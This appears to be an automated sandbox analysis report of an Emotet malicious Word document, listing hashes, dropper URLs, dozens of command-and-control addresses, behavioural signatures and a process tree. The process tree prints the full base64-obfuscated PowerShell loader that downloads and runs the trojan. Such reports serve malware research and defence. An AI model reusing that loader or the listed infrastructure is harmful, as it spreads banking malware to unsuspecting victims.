emotet | a90cf1cb6d035bbb6b3ff86c2b93faa430ecce7ced8293cf7938bc913218084f

Analysis

max time kernel
136s
max time network
151s
platform
windows10_x64
resource
win10
submitted
15/09/2020, 14:46

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General

Target
PO_09152020EX.doc
Size 157KB
Sample200915-fa9tth1e1a
SHA256 a90cf1cb6d035bbb6b3ff86c2b93faa430ecce7ced8293cf7938bc913218084f
MD5 5df648f7c56c4ba05714dfce58dbadf3
SHA1 27996fec6b56cf81f200d675d442009e9d5d59bf
SHA512 c0b92b5ad32758988b46ef25e87af1ec2298693a759769cfc9cc69034bc9d4aa4f8353cc65a830b5db68d2feb7e0cc2d28e00e7c1369086756de76e816f8b69d
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Source

URLs

exe.dropper
https://case.gonukkad.com/sys-cache/CjT/
exe.dropper
https://starrcoin.net/wp-admin/YT/
exe.dropper
http://modelaw.devkind.com.au/wp-admin/cvDRmGK/
exe.dropper
http://dprkp.palembang.go.id/sys-cache/7Y4aHw/
exe.dropper
http://completeguideblogging.com/euiot/PAuJG/
exe.dropper
http://qutiche.cn/wp-admin/Q/
exe.dropper
https://shiva-engineering.com/1cj/tKemHV7/

Extracted

Family

emotet

220.245.198.194:80
104.156.59.7:8080
120.138.30.150:8080
139.59.67.118:443
139.130.242.43:80
104.32.141.43:80
156.155.166.221:80
121.7.127.163:80
153.177.101.120:443
162.241.242.173:8080
91.211.88.52:7080
95.179.229.244:8080
103.86.49.11:8080
139.59.60.244:8080
121.124.124.40:7080
104.131.11.150:443
200.114.213.233:8080
82.225.49.121:80
79.98.24.39:8080
5.196.74.210:8080
61.19.246.238:443
188.219.31.12:80
94.200.114.161:80
110.145.77.103:80
203.153.216.189:7080
62.30.7.67:443
47.144.21.12:443
181.169.34.190:80
174.45.13.118:80
87.106.139.101:8080
79.137.83.50:443
1.221.254.82:80
78.187.156.31:80
83.169.36.251:8080
195.251.213.56:80
110.5.16.198:80
24.43.99.75:80
139.162.108.71:8080
139.99.158.11:443
85.105.205.77:8080
75.139.38.211:80
50.91.114.38:80
176.111.60.55:8080
24.137.76.62:80
62.75.141.82:80
94.23.237.171:443
37.139.21.175:8080
74.208.45.104:8080
200.123.150.89:443
85.214.28.226:8080
68.188.112.97:80
203.117.253.142:80
94.23.216.33:80
137.119.36.33:80
169.239.182.217:8080
124.41.215.226:80
84.39.182.7:80
168.235.67.138:7080
194.187.133.160:443
219.74.18.66:443
61.92.17.12:80
187.161.206.24:80
85.152.162.105:80
50.35.17.13:80
104.236.246.93:8080
140.186.212.146:80
24.179.13.119:80
120.150.60.189:80
109.74.5.95:8080
5.39.91.110:7080
42.200.107.142:80
87.106.136.232:8080
93.147.212.206:80
74.120.55.163:80
107.5.122.110:80
78.24.219.147:8080
37.187.72.193:8080
95.213.236.64:8080
209.141.54.221:8080
185.94.252.104:443
213.196.135.145:80
157.245.99.39:8080
172.91.208.86:80
97.82.79.83:80
153.232.188.106:80
137.59.187.107:8080
201.173.217.124:443
104.131.44.150:8080
174.102.48.180:443
89.216.122.92:80
94.1.108.190:443
46.105.131.79:8080
82.80.155.43:80

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1848	496	powershell.exe	73

Blacklisted process makes network request 1 IoCs

flow	pid	Process
14	1848	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
1856	Ui0i6m6.exe
1860	glu32.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\wlanext\glu32.exe	Ui0i6m6.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
2808	WINWORD.EXE
2808	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
1848	powershell.exe
1848	powershell.exe
1848	powershell.exe
1860	glu32.exe
1860	glu32.exe
1860	glu32.exe
1860	glu32.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1848	powershell.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
2808	WINWORD.EXE
2808	WINWORD.EXE
2808	WINWORD.EXE
2808	WINWORD.EXE
2808	WINWORD.EXE
2808	WINWORD.EXE
2808	WINWORD.EXE
2808	WINWORD.EXE
2808	WINWORD.EXE
1856	Ui0i6m6.exe
1856	Ui0i6m6.exe
1860	glu32.exe
1860	glu32.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1848 wrote to memory of 1856	1848	powershell.exe	81
PID 1848 wrote to memory of 1856	1848	powershell.exe	81
PID 1848 wrote to memory of 1856	1848	powershell.exe	81
PID 1856 wrote to memory of 1860	1856	Ui0i6m6.exe	83
PID 1856 wrote to memory of 1860	1856	Ui0i6m6.exe	83
PID 1856 wrote to memory of 1860	1856	Ui0i6m6.exe	83

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\PO_09152020EX.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:2808

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -e JABVADkAcABmAHcAeQBqAD0AKAAoACcAQgA2ACcAKwAnAF8AJwApACsAKAAnAG8AOABfACcAKwAnAHAAJwApACkAOwAuACgAJwBuAGUAJwArACcAdwAtAGkAdABlAG0AJwApACAAJABlAE4AVgA6AHUAUwBlAHIAUABSAG8ARgBJAEwAZQBcAEsAWABmAEUARAAxADQAXABEAFMANQA4ADMAUgBoAFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAGQASQByAEUAYwB0AE8AUgBZADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGAAZQBDAHUAUgBgAGkAYABUAHkAUAByAG8AdABPAGMATwBMACIAIAA9ACAAKAAoACcAdAAnACsAJwBsAHMAMQAnACkAKwAoACcAMgAsACcAKwAnACAAdABsAHMAJwArACcAMQAxACcAKQArACgAJwAsACAAJwArACcAdAAnACkAKwAnAGwAJwArACcAcwAnACkAOwAkAFMAYQBrAGYAegBuAHoAIAA9ACAAKAAoACcAVQAnACsAJwBpADAAaQAnACkAKwAoACcANgBtACcAKwAnADYAJwApACkAOwAkAEkAbwBqAGgAMgBqAGEAPQAoACgAJwBWAF8AJwArACcAbgAzADAAdAAnACkAKwAnAHUAJwApADsAJABNAGYAagBuAHoAdQBmAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACgAKAAnADkAJwArACgAJwBLAGsASwB4ACcAKwAnAGYAZQBkACcAKwAnADEANAA5AEsAawBEAHMAJwApACsAJwA1ADgAJwArACgAJwAzAHIAJwArACcAaAA5AEsAJwArACcAawAnACkAKQAgAC0AcgBlAFAAbABBAGMAZQAgACgAJwA5ACcAKwAnAEsAawAnACkALABbAEMASABBAFIAXQA5ADIAKQArACQAUwBhAGsAZgB6AG4AegArACgAJwAuACcAKwAoACcAZQB4ACcAKwAnAGUAJwApACkAOwAkAEsAdwBjAGkAMgBvADkAPQAoACcAQgB0ACcAKwAoACcAZQAnACsAJwB1AHQAMABxACcAKQApADsAJABIAGoAOAA3AGwANgBiAD0ALgAoACcAbgBlACcAKwAnAHcALQAnACsAJwBvAGIAagBlAGMAdAAnACkAIABuAEUAVAAuAHcARQBCAGMATABJAEUAbgB0ADsAJABEAGkAeAB6AG8AZwBlAD0AKAAoACcAaAB0AHQAJwArACcAcAAnACkAKwAnAHMAJwArACgAJwA6AC8ALwBjACcAKwAnAGEAJwArACcAcwAnACkAKwAoACcAZQAuAGcAJwArACcAbwAnACkAKwAoACcAbgAnACsAJwB1AGsAawBhAGQALgBjACcAKQArACcAbwBtACcAKwAnAC8AJwArACcAcwAnACsAKAAnAHkAcwAnACsAJwAtAGMAYQAnACkAKwAoACcAYwBoAGUALwAnACsAJwBDACcAKQArACgAJwBqACcAKwAnAFQALwAqAGgAJwApACsAJwB0AHQAJwArACcAcAAnACsAJwBzADoAJwArACgAJwAvAC8AcwAnACsAJwB0AGEAcgAnACsAJwByAGMAbwAnACsAJwBpAG4ALgAnACsAJwBuACcAKQArACcAZQAnACsAKAAnAHQALwAnACsAJwB3AHAALQBhAGQAbQBpAG4AJwArACcALwBZACcAKwAnAFQALwAqAGgAdAAnACsAJwB0ACcAKwAnAHAAOgAvACcAKQArACgAJwAvACcAKwAnAG0AbwBkAGUAbABhAHcAJwArACcALgBkACcAKwAnAGUAdgAnACkAKwAoACcAawBpACcAKwAnAG4AZAAnACkAKwAoACcALgBjACcAKwAnAG8AbQAuACcAKQArACgAJwBhAHUAJwArACcALwB3ACcAKQArACgAJwBwAC0AJwArACcAYQBkACcAKQArACgAJwBtAGkAJwArACcAbgAnACsAJwAvAGMAJwArACcAdgBEACcAKwAnAFIAbQBHAEsALwAqACcAKwAnAGgAdAB0AHAAOgAvACcAKwAnAC8AJwArACcAZABwAHIAawBwAC4AJwArACcAcAAnACkAKwAnAGEAbAAnACsAKAAnAGUAbQBiAGEAbgAnACsAJwBnACcAKQArACcALgAnACsAJwBnACcAKwAoACcAbwAuACcAKwAnAGkAZAAvAHMAeQBzAC0AJwArACcAYwBhACcAKwAnAGMAJwApACsAKAAnAGgAZQAvADcAJwArACcAWQA0AGEAJwApACsAKAAnAEgAJwArACcAdwAvACoAaAAnACsAJwB0AHQAcAAnACkAKwAoACcAOgAnACsAJwAvAC8AYwAnACkAKwAnAG8AJwArACgAJwBtACcAKwAnAHAAbABlAHQAZQBnACcAKQArACgAJwB1ACcAKwAnAGkAZABlAGIAJwApACsAJwBsACcAKwAnAG8AZwAnACsAJwBnACcAKwAoACcAaQBuACcAKwAnAGcALgAnACsAJwBjAG8AJwApACsAKAAnAG0AJwArACcALwBlAHUAaQBvAHQAJwApACsAKAAnAC8AUABBACcAKwAnAHUASgBHACcAKQArACcALwAqACcAKwAoACcAaAB0AHQAJwArACcAcAA6AC8AJwApACsAKAAnAC8AcQAnACsAJwB1AHQAaQAnACsAJwBjAGgAZQAnACkAKwAoACcALgBjACcAKwAnAG4AJwApACsAKAAnAC8AdwBwACcAKwAnAC0AJwApACsAJwBhACcAKwAnAGQAJwArACcAbQAnACsAKAAnAGkAbgAnACsAJwAvACcAKQArACgAJwBRAC8AJwArACcAKgBoAHQAJwArACcAdABwAHMAOgAvAC8AcwAnACkAKwAoACcAaABpAHYAYQAtACcAKwAnAGUAbgAnACsAJwBnAGkAbgBlACcAKwAnAGUAcgAnACsAJwBpAG4AJwArACcAZwAuAGMAbwBtACcAKwAnAC8AMQBjACcAKwAnAGoALwB0AEsAJwArACcAZQAnACkAKwAoACcAbQBIACcAKwAnAFYAJwApACsAJwA3AC8AJwApAC4AIgBTAGAAcABMAGkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEMAeQA1AGgAcABiADQAPQAoACcAVwAxACcAKwAoACcAdgA5ACcAKwAnAHgAJwApACsAJwB5AGwAJwApADsAZgBvAHIAZQBhAGMAaAAoACQAUQByAG8AbQA2AGEAcgAgAGkAbgAgACQARABpAHgAegBvAGcAZQApAHsAdAByAHkAewAkAEgAagA4ADcAbAA2AGIALgAiAGQAYABPAFcAbgBMAG8AQQBgAEQARgBgAEkATABlACIAKAAkAFEAcgBvAG0ANgBhAHIALAAgACQATQBmAGoAbgB6AHUAZgApADsAJABSAGgANQBpAGsAeABfAD0AKAAnAE0AZQAnACsAKAAnAGUAaABmAHEAJwArACcAMQAnACkAKQA7AEkAZgAgACgAKAAmACgAJwBHAGUAJwArACcAdAAtAEkAdAAnACsAJwBlAG0AJwApACAAJABNAGYAagBuAHoAdQBmACkALgAiAGwARQBgAE4AYABnAHQAaAAiACAALQBnAGUAIAAzADYAOQAzADEAKQAgAHsAJgAoACcASQBuAHYAbwBrACcAKwAnAGUAJwArACcALQBJAHQAJwArACcAZQBtACcAKQAoACQATQBmAGoAbgB6AHUAZgApADsAJABYAHoAawB6AG0AbQBuAD0AKAAoACcARwAnACsAJwBuAGEANQAnACkAKwAnAF8AJwArACcAcwBwACcAKQA7AGIAcgBlAGEAawA7ACQAVwA3AGwAZgBoAGcAcQA9ACgAKAAnAFcAMgBrACcAKwAnADgAdwB5ACcAKQArACcAcAAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFMAcAAxAF8AYQB1AG0APQAoACcATQAnACsAKAAnAHEAYgBqAF8AJwArACcAZQByACcAKQApAA==
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1848
- C:\Users\Admin\Kxfed14\Ds583rh\Ui0i6m6.exe
  "C:\Users\Admin\Kxfed14\Ds583rh\Ui0i6m6.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:1856
- - C:\Windows\SysWOW64\wlanext\glu32.exe
    "C:\Windows\SysWOW64\wlanext\glu32.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:1860

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1848-8-0x00007FFBEBB90000-0x00007FFBEC57C000-memory.dmp

Download

memory/1848-10-0x00000279D9EC0000-0x00000279D9EC1000-memory.dmp

Download

memory/1848-9-0x00000279C1BA0000-0x00000279C1BA1000-memory.dmp

Download

memory/1856-15-0x0000000000520000-0x0000000000530000-memory.dmp

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memory/1856-14-0x0000000000B80000-0x0000000000B92000-memory.dmp

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memory/1860-19-0x0000000000940000-0x0000000000950000-memory.dmp

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memory/1860-18-0x00000000005A0000-0x00000000005B2000-memory.dmp

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memory/2808-4-0x000001F5D76C0000-0x000001F5D76C5000-memory.dmp

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memory/2808-2-0x000001F5D9E40000-0x000001F5D9E41000-memory.dmp

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memory/2808-3-0x000001F5D9E41000-0x000001F5D9E46000-memory.dmp

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memory/2808-0-0x00007FFBF2FD0000-0x00007FFBF3696000-memory.dmp

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memory/2808-7-0x000001F5D9E41000-0x000001F5D9E46000-memory.dmp

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memory/2808-1-0x000001F5D7E15000-0x000001F5D7E18000-memory.dmp

Download

memory/2808-5-0x000001F5D9E41000-0x000001F5D9E46000-memory.dmp

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memory/2808-6-0x000001F5D9E41000-0x000001F5D9E46000-memory.dmp

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